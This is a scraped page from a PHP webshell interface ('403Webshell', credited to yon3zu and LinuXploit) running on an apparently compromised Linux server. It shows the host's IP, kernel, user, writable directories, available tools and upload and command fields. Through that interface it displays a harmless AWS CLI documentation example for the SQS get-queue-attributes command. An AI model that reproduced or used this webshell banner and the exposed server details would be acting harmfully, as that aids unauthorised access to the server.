403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/awscli/examples/sqs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/awscli/examples/sqs/get-queue-attributes.rst
**To get a queue's attributes**

This example gets all of the specified queue's attributes.

Command::

  aws sqs get-queue-attributes --queue-url https://sqs.us-east-1.amazonaws.com/80398EXAMPLE/MyQueue --attribute-names All

Output::

  {
    "Attributes": {
      "ApproximateNumberOfMessagesNotVisible": "0",
      "RedrivePolicy": "{\"deadLetterTargetArn\":\"arn:aws:sqs:us-east-1:80398EXAMPLE:MyDeadLetterQueue\",\"maxReceiveCount\":1000}",
      "MessageRetentionPeriod": "345600",
      "ApproximateNumberOfMessagesDelayed": "0",
      "MaximumMessageSize": "262144",
      "CreatedTimestamp": "1442426968",
      "ApproximateNumberOfMessages": "0",
      "ReceiveMessageWaitTimeSeconds": "0",
      "DelaySeconds": "0",
      "VisibilityTimeout": "30",
      "LastModifiedTimestamp": "1442426968",
      "QueueArn": "arn:aws:sqs:us-east-1:80398EXAMPLE:MyNewQueue"
    }
  }

This example gets only the specified queue's maximum message size and visibility timeout attributes.

Command::

  aws sqs get-queue-attributes --queue-url https://sqs.us-east-1.amazonaws.com/80398EXAMPLE/MyNewQueue --attribute-names MaximumMessageSize VisibilityTimeout

Output::

  {
    "Attributes": {
      "VisibilityTimeout": "30",
      "MaximumMessageSize": "262144"
    }
  }

Youez - 2016 - github.com/yon3zu
LinuXploit